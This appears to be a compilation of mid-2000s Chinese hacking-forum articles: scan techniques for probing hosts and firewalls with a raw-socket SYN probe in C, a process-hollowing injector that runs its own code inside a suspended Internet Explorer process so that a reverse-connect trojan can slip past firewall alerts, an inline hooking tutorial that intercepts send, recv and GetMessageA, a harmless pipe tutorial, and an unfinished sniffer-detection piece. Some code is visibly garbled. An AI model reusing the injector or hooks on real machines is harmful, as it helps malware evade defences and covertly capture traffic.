  当IP数据报出现checksum和版本的错误的时候，目标主机将抛弃这个数据报，如果是checksum出现错误，那么路由器就直接丢弃这个数据报了。有些主机比如AIX、HP-UX等，是不会发送ICMP的Unreachable数据报的。
  我们利用下面这些特性：
1、向目标主机发送一个只有IP头的IP数据包，目标将返回Destination Unreachable的ICMP错误报文。
2、向目标主机发送一个坏IP数据报，比如，不正确的IP头长度，目标主机将返回Parameter Problem的ICMP错误报文。
3、当数据包分片但是，却没有给接收端足够的分片，接收端分片组装超时会发送分片组装超时的ICMP数据报。
  向目标主机发送一个IP数据报，但是协议项是错误的，比如协议项不可用，那么目标将返回Destination Unreachable的ICMP报文，但是如果是在目标主机前有一个防火墙或者一个其他的过滤装置，可能过滤掉提出的要求，从而接收不到任何回应。可以使用一个非常大的协议数字来作为IP头部的协议内容，而且这个协议数字至少在今天还没有被使用，应该主机一定会返回Unreachable，如果没有Unreachable的ICMP数据报返回错误提示，那么就说明被防火墙或者其他设备过滤了，我们也可以用这个办法来探测是否有防火墙或者其他过滤设备存在。
  利用IP的协议项来探测主机正在使用哪些协议，我们可以把IP头的协议项改变，因为是8位的，有256种可能。通过目标返回的ICMP错误报文，来作判断哪些协议在使用。如果返回Destination Unreachable，那么主机是没有使用这个协议的，相反，如果什么都没有返回的话，主机可能使用这个协议，但是也可能是防火墙等过滤掉了。NMAP的IP Protocol scan也就是利用这个原理。
  利用IP分片造成组装超时ICMP错误消息，同样可以来达到我们的探测目的。当主机接收到丢失分片的数据报，并且在一定时间内没有接收到丢失的数据报，就会丢弃整个包，并且发送ICMP分片组装超时错误给原发送端。我们可以利用这个特性制造分片的数据包，然后等待ICMP组装超时错误消息。可以对UDP分片，也可以对TCP甚至ICMP数据包进行分片，只要不让目标主机获得完整的数据包就行了，当然，对于UDP这种非连接的不可靠协议来说，如果我们没有接收到超时错误的ICMP返回报，也有可能时由于线路或者其他问题在传输过程中丢失了。
  我们能够利用上面这些特性来得到防火墙的ACL（access list），甚至用这些特性来获得整个网络拓扑结构。如果我们不能从目标得到Unreachable报文或者分片组装超时错误报文，可以作下面的判断：
1、防火墙过滤了我们发送的协议类型
2、防火墙过滤了我们指定的端口
3、防火墙阻塞ICMP的Destination Unreachable或者Protocol Unreachable错误消息。
4、防火墙对我们指定的主机进行了ICMP错误报文的阻塞。
二、高级TCP扫描技术
  最基本的利用TCP扫描就是使用connect()，这个很容易实现，如果目标主机能够connect，就说明一个相应的端口打开。不过，这也是最原始和最先被防护工具拒绝的一种。
  在高级的TCP扫描技术中主要利用TCP连接的三次握手特性来进行，也就是所谓的半开扫描。这些办法可以绕过一些防火墙，而得到防火墙后面的主机信息。当然，是在不被欺骗的情况下的。下面这些方法还有一个好处就是比较难于被记录，有的办法即使在用netstat命令上也根本显示不出来。
SYN
  向远端主机某端口发送一个只有SYN标志位的TCP数据报，如果主机反馈一个SYN || ACK数据包，那么，这个主机正在监听该端口，如果反馈的是RST数据包，说明，主机没有监听该端口。在X-Scanner 上就有SYN的选择项。
ACK
  发送一个只有ACK标志的TCP数据报给主机，如果主机反馈一个TCP RST数据报来，那么这个主机是存在的。
FIN
  对某端口发送一个TCP FIN数据报给远端主机。如果主机没有任何反馈，那么这个主机是存在的，而且正在监听这个端口；主机反馈一个TCP RST回来，那么说明该主机是存在的，但是没有监听这个端口。
NULL
  即发送一个没有任何标志位的TCP包，根据RFC793，如果目标主机的相应端口是关闭的话，应该发送回一个RST数据包。
FIN+URG+PUSH
  向目标主机发送一个Fin、URG和PUSH分组，根据RFC793，如果目标主机的相应端口是关闭的，那么应该返回一个RST标志。
三、高级UDP扫描技术
  在UDP实现的扫描中，多是了利用和ICMP进行的组合进行，这在ICMP中以及提及了。还有一些特殊的就是UDP回馈，比如SQL SERVER，对其1434端口发送‘x02’或者‘x03’就能够探测得到其连接端口。

  下面这段程序就是一个TCP探测的例子，当然，并没有做得完美，因为没有接收部分，而在WIN2000下实际就是一个选择性的SNIFFER，呵呵，大家可以使用其他的SNIFFER来实现同样的目的。也可以改变下面的程序只发送IP包，利用ICMP特性来实现探测。
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#define SOURCE_PORT 7234
#define MAX_RECEIVEBYTE 255
typedef struct ip_hdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHEADER;
typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSDHEADER;
typedef struct tcp_hdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHEADER;
//CheckSum:计算校验和的子函数
USHORT checksum(USHORT
        *buffer, int size)
{
unsigned long cksum=0;
while(size
        >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum &
        0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void usage()
{
printf("******************************************\n");
printf("TCPPing\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@263.net\n");
printf("Useage: TCPPing.exe Target_ip Target_port \n");
printf("*******************************************\n");
}
int main(int argc, char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
char szSendBuf[60]={0};
BOOL flag;
int rect,nTimeOver;
usage();
if (argc!= 3)
{ return false; }
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!\n");
return false;
}
if
        ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
printf("Socket Setup Error!\n");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char
        *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt
        IP_HDRINCL error!\n");
return false;
}
nTimeOver=1000;
if (setsockopt(sock,
        SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver,
        sizeof(nTimeOver))==SOCKET_ERROR)
{
printf("setsockopt
        SO_SNDTIMEO error!\n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
//
//
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned
        long));
// ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.sourceIP=inet_addr("本地地址");
ipHeader.destIP=inet_addr(argv[1]);
//填充TCP首部
tcpHeader.th_dport=htons(atoi(argv[2]));
tcpHeader.th_sport=htons(SOURCE_PORT); //源端口号
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测，2是SYN，1是FIN，16是ACK探测 等等
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;
psdHeader.saddr=ipHeader.sourceIP;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
//计算校验和
memcpy(szSendBuf, &psdHeader,
        sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader),
        &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT
        *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader,
        sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader),
        &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((USHORT *)szSendBuf,
        sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf,
        sizeof(ipHeader)+sizeof(tcpHeader),
0, (struct
        sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%d\n",WSAGetLastError());
return
        false;
}
else
printf("send ok!\n");
closesocket(sock);
WSACleanup();
return 0;
}
-------------------------------------------
reference：
1、《Breaking into computer networks from the Internet》 Roelof Temmingh & SensePost (Pty) Ltd
2、Phrack #49，《Port Scanning without the SYN flag》
3、Phrack #51，《The Art of Port Scanning》
4、Sys-Security Group《ICMP Usage in Scanning》


绕过防火墙的反向连接报警
Author: Polymorphours
Email: Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date: 2005-11-17

/*
Author: Polymorphours

Date: 2005/1/10
另一种将自己代码注入傀儡进程的方法，配合反弹木马，可绕过防火墙的
反向连接报警。
*/
#include
#include
//
// ntdll.lib ( 来自DDK 2000 )
//
#pragma comment(lib,"ntdll.lib")
typedef long NTSTATUS;
NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);
typedef struct _ChildProcessInfo {
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;
BOOL
FindIePath(
char *IePath,
int *dwBuffSize
);
BOOL InjectProcess(void);

DWORD
GetSelfImageSize(
HMODULE hModule
);
BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);

char szIePath[MAX_PATH];
int main(void)
{
if
        (InjectProcess() ) {

printf("This is my
        a test code,made by (Polymorphours)shadow3.\r\n");
} else {

MessageBox(NULL,"进程插入完成","Text",MB_OK);
}
return 0;
}
BOOL
FindIePath(
char *IePath,
int *dwBuffSize
)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '\0'
lstrcat(szSystemDir,"\\Program Files\\Internet Explorer\\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}
BOOL InjectProcess(void)
{
char      szModulePath[MAX_PATH];
DWORD      dwImageSize = 0;

STARTUPINFO    si = {0};
PROCESS_INFORMATION  pi;
CONTEXT
            ThreadCxt;
DWORD
             *PPEB;
DWORD
             dwWrite = 0;
CHILDPROCESS
           stChildProcess;
LPVOID
             lpVirtual = NULL;
PIMAGE_DOS_HEADER   pDosheader = NULL;
PIMAGE_NT_HEADERS   pVirPeHead = NULL;

HMODULE     hModule = NULL;

ZeroMemory( szModulePath, MAX_PATH );
ZeroMemory( szIePath, MAX_PATH );

GetModuleFileName( NULL, szModulePath, MAX_PATH );
FindIePath( szIePath, NULL );

if (
        lstrcmpiA( szIePath, szModulePath ) == 0 ) {

return FALSE;
}

hModule = GetModuleHandle( NULL );
if (
        hModule == NULL ) {

return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule +
        pDosheader->e_lfanew);

dwImageSize =
        GetSelfImageSize(hModule);

//
//
        以挂起模式启动一个傀儡进程,这里为了传透防火墙，使用IE进程
//

if (
        CreateInjectProcess(
&pi,
&ThreadCxt
        ,
&stChildProcess
) ) {
printf("CHILD PID: [%d]\r\n",pi.dwProcessId);
//
// 卸载需要注入进程中的代码
//

if ( ZwUnmapViewOfSection(
pi.hProcess,
(LPVOID)stChildProcess.dwBaseAddress
) == 0 ) {
//
// 重新分配内存
//
lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE │ MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

if ( lpVirtual ) {
    printf("Unmapped and
        Allocated Mem Success.\r\n");
}

} else {
   printf("ZwUnmapViewOfSection()
        failed.\r\n");
return TRUE;
}

if ( lpVirtual ) {

PPEB = (DWORD *)ThreadCxt.Ebx;

//
// 重写装载地址
//

WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite
);

//
//
        写入自己进程的代码到目标进程
//

if
        ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) ) {

printf("image inject into process
        success.\r\n");

ThreadCxt.ContextFlags =
        CONTEXT_FULL;
if ( (DWORD)lpVirtual ==
        stChildProcess.dwBaseAddress ) {

ThreadCxt.Eax =
        (DWORD)pVirPeHead->OptionalHeader.ImageBase +
        pVirPeHead->OptionalHeader.AddressOfEntryPoint;
} else {

ThreadCxt.Eax =
        (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}

#ifdef
        DEBUG
printf("EAX =
        [0x%08x]\r\n",ThreadCxt.Eax);
printf("EBX =
        [0x%08x]\r\n",ThreadCxt.Ebx);
printf("ECX =
        [0x%08x]\r\n",ThreadCxt.Ecx);
printf("EDX =
        [0x%08x]\r\n",ThreadCxt.Edx);
printf("EIP =
        [0x%08x]\r\n",ThreadCxt.Eip);
#endif

SetThreadContext(pi.hThread,
        &ThreadCxt);
ResumeThread(pi.hThread);

} else {

printf("WirteMemory
        Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}

} else {

printf("VirtualMemory
        Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}

return TRUE;
}
DWORD
GetSelfImageSize(
HMODULE hModule
)
{
DWORD dwImageSize;
_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax

}
return dwImageSize;
}
BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)
{
STARTUPINFO si = {0};

DWORD   *PPEB;
DWORD
          read;
// 使用挂起模式启动ie
if( CreateProcess(
NULL,
szIePath,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
pi
) ) {
  pThreadCxt->ContextFlags =
        CONTEXT_FULL;
GetThreadContext(pi->hThread,
        pThreadCxt);

PPEB = (DWORD
        *)pThreadCxt->Ebx;

// 得到ie的装载基地址
ReadProcessMemory(
pi->hProcess,
&PPEB[2],
(LPVOID)&(pChildProcess->dwBaseAddress),
sizeof(DWORD),
&read
);
return TRUE ;
}
return FALSE;
}

WSS(Whitecell Security Systems)，一个非营利性民间技术组织，致力于各种系统安全技术的研究。坚持传统的hacker精神，追求技术的精纯。
WSS 主页：http://www.whitecell.org/
WSS 论坛：http://www.whitecell.org/forums/


利用HOOK拦截封包原理

截获API是个很有用的东西，比如你想分析一下别人的程序是怎样工作的。这里我介绍一下一种我自己试验通过的方法。
首先，我们必须设法把自己的代码放到目标程序的进程空间里去。Windows
        Hook可以帮我们实现这一点。SetWindowsHookEx的声明如下：
HHOOK
        SetWindowsHookEx(
int idHook, // hook type
HOOKPROC
        lpfn, // hook procedure
HINSTANCE hMod, // handle to
        application instance
DWORD dwThreadId // thread
        identifier
);
具体的参数含义可以翻阅msdn，没有msdn可谓寸步难行。
这里Hook本身的功能并不重要，我们使用它的目的仅仅只是为了能够让Windows把我们的代码植入别的进程里去。hook
        Type我们任选一种即可，只要保证是目标程序肯定会调用到就行，这里我用的是WH_CALLWNDPROC。lpfn和hMod分别指向我们的钩子代码及其所在的dll，dwThreadId设为0，表示对所有系统内的线程都挂上这样一个hook，这样我们才能把代码放到别的进程里去。

之后，我们的代码就已经进入了系统内的所有进程空间了。必须注意的是，我们只需要截获我们所关心的目标程序的调用，因此还必须区分一下进程号。我们自己的钩子函数中，第一次运行将进行最重要的API重定向的工作。也就是通过将所需要截获的API的开头几个字节改为一个跳转指令，使其跳转到我们的API中来。这是最关键的部分。这里我想截三个调用，ws2_32.dll中的send和recv、user32.dll中的GetMessageA。

DWORD dwCurrentPID = 0;
HHOOK hOldHook =
        NULL;
DWORD pSend = 0;
DWORD pRecv = 0;
GETMESSAGE pGetMessage = NULL;

BYTE
        btNewBytes[8] = { 0x0B8, 0x0, 0x0, 0x40, 0x0, 0x0FF, 0x0E0, 0 };
DWORD dwOldBytes[3][2];

HANDLE hDebug =
        INVALID_HANDLE_value;

LRESULT CALLBACK CallWndProc(
        int nCode, WPARAM wParam, LPARAM lParam )
{
DWORD
        dwSize;
DWORD dwPIDWatched;
HMODULE hLib;

if( dwCurrentPID == 0 )
{
dwCurrentPID = GetCurrentProcessId();
HWND
        hwndMainHook;
wndMainHook = ::FindWindow( 0, "MainHook
        );
dwPIDWatched = ::SendMessage( hwndMainHook, (WM_USER+100),
        0, 0 );
hOldHook = (HHOOK)::SendMessage( hwndMainHook,
        (WM_USER+101), 0, 0 );

if( dwCurrentPID ==
        dwPIDWatched )
{
Lib = LoadLibrary( "ws2_32.dll
        );
Send = (DWORD)GetProcAddress( hLib, "send );
Recv
        = (DWORD)GetProcAddress( hLib, "recv );

::ReadProcessMemory( INVALID_HANDLE_value, (void *)pSend, (void
        *)dwOldBytes[0], sizeof(DWORD)*2, &dwSize );
*(DWORD *)(
        btNewBytes + 1 ) = (DWORD)new_send;
::WriteProcessMemory(
        INVALID_HANDLE_value, (void *)pSend, (void *)btNewBytes,
        sizeof(DWORD)*2, &dwSize );

::ReadProcessMemory( INVALID_HANDLE_value, (void *)pRecv, (void
        *)dwOldBytes[1], sizeof(DWORD)*2, &dwSize );
*(DWORD *)(
        btNewBytes + 1 ) = (DWORD)new_recv;
::WriteProcessMemory(
        INVALID_HANDLE_value, (void *)pRecv, (void *)btNewBytes,
        sizeof(DWORD)*2, &dwSize );

Lib = LoadLibrary(
        "user32.dll );
GetMessage = (GETMESSAGE)GetProcAddress( hLib,
        "GetMessageA );
::ReadProcessMemory( INVALID_HANDLE_value,
        (void *)pGetMessage, (void *)dwOldBytes[2], sizeof(DWORD)*2, &dwSize
        );
*(DWORD *)( btNewBytes + 1 ) = (DWORD)new_GetMessage;
::WriteProcessMemory( INVALID_HANDLE_value, (void *)pGetMessage,
        (void *)btNewBytes, sizeof(DWORD)*2, &dwSize );

Debug = ::CreateFile( "C:\\Trace.log, GENERIC_WRITE, 0, 0,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
}
}

if( hOldHook != NULL )
{
return
        CallNextHookEx( hOldHook, nCode, wParam, lParam );
}

return 0;
}

上面的钩子函数，只有第一次运行时有用，就是把三个函数的首8字节修改一下（实际上只需要7个）。btNewBytes中的指令实际就是
mov eax, 0x400000
jmp eax
这里的0x400000就是新的函数的地址，比如new_recv/new_send/new_GetMessage，此时，偷梁换柱已经完成。再看看我们的函数中都干了些什么。以GetMessageA为例：

BOOL _stdcall new_GetMessage( LPMSG lpMsg, HWND hWnd,
        UINT wMsgFilterMin, UINT wMsgFilterMax )
{
DWORD
        dwSize;
char szTemp[256];
BOOL r = false;

//Watch here before it's executed.
printf(
        szTemp, "Before GetMessage : HWND 0x%8.8X, msgMin 0x%8.8X, msgMax
        0x%8.8x \r\n, hWnd, wMsgFilterMin, wMsgFilterMax );
::WriteFile( hDebug, szTemp, strlen(szTemp), &dwSize, 0 );
//Watch over

// restore it at first
::WriteProcessMemory( INVALID_HANDLE_value, (void *)pGetMessage,
        (void *)dwOldBytes[2], sizeof(DWORD)*2, &dwSize );

// execute it
r = pGetMessage( lpMsg, hWnd, wMsgFilterMin,
        wMsgFilterMax );

// hook it again
*(DWORD
        *)( btNewBytes + 1 ) = (DWORD)new_GetMessage;
::WriteProcessMemory( INVALID_HANDLE_value, (void *)pGetMessage,
        (void *)btNewBytes, sizeof(DWORD)*2, &dwSize );

//Watch here after it's executed
printf( szTemp, "Result
        of GetMessage is %d.\r\n, r );
::WriteFile( hDebug, szTemp,
        strlen( szTemp ), &dwSize, 0 );
if( r )
{
printf( szTemp, "Msg : HWND 0x%8.8X, MSG 0x%8.8x, wParam 0x%8.8X,
        lParam 0x%8.8X\r\nTime 0x%8.8X, X %d, Y %d\r\n,
lpMsg->hwnd, lpMsg->message,
lpMsg->wParam,
        lpMsg->lParam, lpMsg->time,
lpMsg->pt.x,
        lpMsg->pt.y );
::WriteFile( hDebug, szTemp, strlen( szTemp
        ), &dwSize, 0 );
}
trcpy( szTemp, "\r\n );
::WriteFile( hDebug, szTemp, strlen( szTemp ), &dwSize, 0
        );

//Watch over

return
        r;
}

先将截获下来的参数，写入到一个log文件中，以便分析。然后恢复原先保留下来的GetMessageA的首8字节，然后执行真正的GetMessageA调用，完毕后再将执行结果也写入log文件，然后将GetMessageA的执行结果返回给调用者。
整个截获的过程就是这样。你可以把其中的写log部分改成你自己想要的操作。这里有个不足的地方是，截获动作是不能够并发进行的，如果目标进程是多线程的，就会有问题。解决办法是，可以在每次new_GetMessage中加入一个CriticalSection的锁和解锁，以使调用变为串行进行，但这个我没有试验过。


Windows管道技术简述

不知你是否用过这样的程序，他们本身并没有解压缩的功能，而是调用DOS程序PKZIP完成ZIP包的解压缩。但是在程序运行时又没有DOS控制台的窗口出现而且一切本应该在DOS下显示的信息都出现在了那个安装程序的一个文本框里。这种设计既美观又可以防止少数眼疾手快的用户提前关了你的DOS窗口。
现在就来讨论一下，如何用匿名管道技术实现这个功能。
管道技术由来已久，相信不少人对DOS命令里的管道技术最为熟悉。当我们type一个文件的时候如果想让他分页现实可以输入
C:\>type autoexec.bat|more
这里“|”就是管道操作符。他以type输出的信息为读取端，以more的输入端为写入端建立的管道。
Windows中使用较多的管道也是匿名管道，它通过API函数CreatePipe创建。
BOOL CreatePipe(
PHANDLE hReadPipe, // 指向读端句柄的指针
PHANDLE hWritePipe, // 指向写端句柄的指针
LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性结构的指针
DWORD nSize // 管道的容量
);
上面几个参数中要注意hReadPipe,hWritePipe是指向句柄的指针，而不是句柄（我第一次用的时候就搞错了）。nSize一般指定为0,以便让系统自己决定管道的容量。现在来看安全属性结构，SECURITY_ATTRIBUTES。
typedef struct _SECURITY_ATTRIBUTES { // sa
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES;
nLength是结构体的大小，自然是用sizeof取得了。lpSecurityDescriptor是安全描述符（一个C-Style的字符串）。bInheritHandle他指出了安全描述的对象能否被新创建的进程继承。先不要管他们的具体意义，使用的时候自然就知道了。
好，现在我们来创建一个管道
HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES sa;
sa.nLength =
        sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
        //使用系统默认的安全描述符
sa.bInheritHandle = TRUE;
        //一定要为TRUE，不然句柄不能被继承。
CreeatePipe(&hReadPipe,&hWritePipe,&sa,0);
OK,我们的管道建好了。当然这不是最终目的，我们的目的是把DOS上的一个程序输出的东西重定向到一个Windows程序的Edit控件。所以我们还需要先启动一个DOS的程序，而且还不能出现DOS控制台的窗口（不然不就露馅了吗）。我们用CreateProcess创建一个DOS程序的进程。
BOOL CreateProcess(
LPCTSTR lpApplicationName, // C-style字符串:应用程序的名称
LPTSTR lpCommandLine, // C-style字符串:执行的命令
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
BOOL bInheritHandles, // 是否继承句柄的标志
DWORD dwCreationFlags, // 创建标志
LPVOID lpEnvironment, // C-Style字符串：环境设置
LPCTSTR lpCurrentDirectory, // C-Style字符串：执行目录
LPSTARTUPINFO lpStartupInfo, // 启动信息
LPPROCESS_INFORMATION lpProcessInformation // 进程信息
);
先别走，参数是多了点，不过大部分要不不用自己填要不填个NULL就行了。lpApplication随便一点就行了。lpCommandLine可是你要执行的命令一定要认真写好。来，我们瞧瞧lpProcessAttributes和lpThreadAttributes怎么设置。哎？这不就是刚才那个吗。对阿，不过可比刚才简单。由于我们只是创建一个进程，他是否能在被继承不敢兴趣所以这两个值全为NULL。bInHeritHandles也是一定要设置为TRUE的，因为我们既然要让新的进程能输出信息到调用他的进程里，就必须让新的进程继承调用进程的句柄。我们对创建的新进程也没什么别的苛求，所以dwCreationFlags就为NULL了。lpEnvironment和lpCurrentDirectory根据你自己的要求是指一下就行了，一般也是NULL。接下来的lpStartupInfo可是关键，我们要认真看一下。
typedef struct _STARTUPINFO { // si
DWORD
        cb;
LPTSTR lpReserved;
LPTSTR lpDesktop;
LPTSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD
        dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD
        cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE
        hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;
倒！这么多参数，一个一个写肯定累死了。没错，MS早就想到会累死人。所以提供救人一命的API函数GetStartupInfo。
VOID GetStartupInfo(
LPSTARTUPINFO lpStartupInfo
);
这个函数用来取得当前进程的StartupInfo,我们新建的进程基本根当前进程的StartupInfo差不多，就借用一下啦。然后再小小修改一下即可。
我们要改的地方有这么几个：cb,dwFlags，hStdOutput，hStdError，wShowWindow。先说cb，他指的是STARTUPINFO的大小，还是老手法sizeof。再说wShowWindow,他制定了新进程创建时窗口的现实状态，这个属性当然给为SW_HIDE了，我们不是要隐藏新建的DOS进程吗。哈哈，看到hStdOutput和hStdError，标准输出和错误输出的句柄。关键的地方来了，只要我们把这两个句柄设置为hWrite,我们的进程一旦有标准输出，就会被写入我们刚刚建立的匿名管道里，我们再用管道的hReadPipe句柄把内容读出来写入Edit控件不就达到我们的目的了吗。呵呵，说起来也真是听容易的阿。这几个关键参数完成了以后，千万别忘了dwFlags。他是用来制定STARTUPINFO里这一堆参数那个有效的。既然我们用了hStdOutput,hStdError和wShowWindow那dwFlags就给为STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES。
好了，现在回到CreateProcess的最后一个参数lpProcessInformation（累！）。呵呵，这个参数不用自己填了，他是CreateProcess返回的信息，只要给他一个PROCESS_INFORMATION结构事例的地址就行了。
大功高成了，我们管道一端连在了新进程的标准输出端了，一端可以自己用API函数ReadFile读取了。等等，不对，我们的管道还有问题。我们把hWrite给了hStdOutput和hStdError,那么在新的进程启动时就会在新进程中打开一个管道写入端，而我们在当前进程中使用了CreatePipe创建了一个管道，那么在当前进程中也有这个管道的写入端hWrite。好了，这里出现了一个有两个写入端和一个读出端的畸形管道。这样的管道肯定是有问题的。由于当前进程并不使用写端，因此我们必须关闭当前进程的写端。这样，我们的管道才算真正的建立成功了。来看看VC++写的源程序：

/*
* 通过管道技术，将dir /?的帮助信息输入到MFC应用程序的一个CEdit控件中。
* VC++6.0 + WinXP 通过
*
* detrox, 2003
*/

void CPipeDlg::OnButton1()
{
SECURITY_ATTRIBUTES sa;
HANDLE hRead,hWrite;
sa.nLength =
        sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor =
        NULL;
sa.bInheritHandle = TRUE;
if
        (!CreatePipe(&hRead,&hWrite,&sa,0)) {
MessageBox("Error
        On CreatePipe()");
return;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb =
        sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError =
        hWrite;
si.hStdOutput = hWrite;
si.wShowWindow =
        SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW |
        STARTF_USESTDHANDLES;
if
        (!CreateProcess(NULL,"c:\\windows\\system32\\cmd.exe/c dir
        /?"
,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) {
MessageBox("Error on
        CreateProcess()");
return;
}
CloseHandle(hWrite);
char buffer[4096] = {0};
DWORD bytesRead;
while (true)
        {
if (ReadFile(hRead,buffer,4095,&bytesRead,NULL) ==
        NULL)
break;
m_Edit1 +=
        buffer;
UpdateData(false);
Sleep(200);
}
}


用ARP探测网络中的混杂模式节点
由于sniffer的危害，检测网络中是否存在sniffer也非常重要。Anti-Sniff就相应地产生，来检测网络
中的sniffer。

检测sniffer的办法有很多，比如有些功能强大的sniffer会对IP地址进行解析获得机器名，那么可以通
过发送畸形数据包等待sniffer进行DNS解析等等，但是这些办法局限太大了。

根据sniffer的基本工作原理，其核心就是设置网卡模式为 promiscuous（混杂模式），如果能够检测
到网络有是混杂模式的网卡，那么就可以判断可能存在一个sniffer。ARP协议在深入嗅探中很有作用，同时
也可以用于进行嗅探器的侦测。

在混杂模式中，网卡进行包过滤不同于普通模式。本来在普通模式下，只有本地地址的数据包或者广播
（多播等）才会被网卡提交给系统核心，否则的话，这些数据包就直接被网卡抛弃。现在，混合模式让所有
经过的数据包都传递给系统核心，然后被sniffer等程序利用。因此，如果能利用中间的“系统核心”，就能
有效地进行是否混杂模式的检测。系统核心也会对一些数据包进行过滤，但是，和网卡的标准不一样的是。

以Windows系统为例（实验可得）：

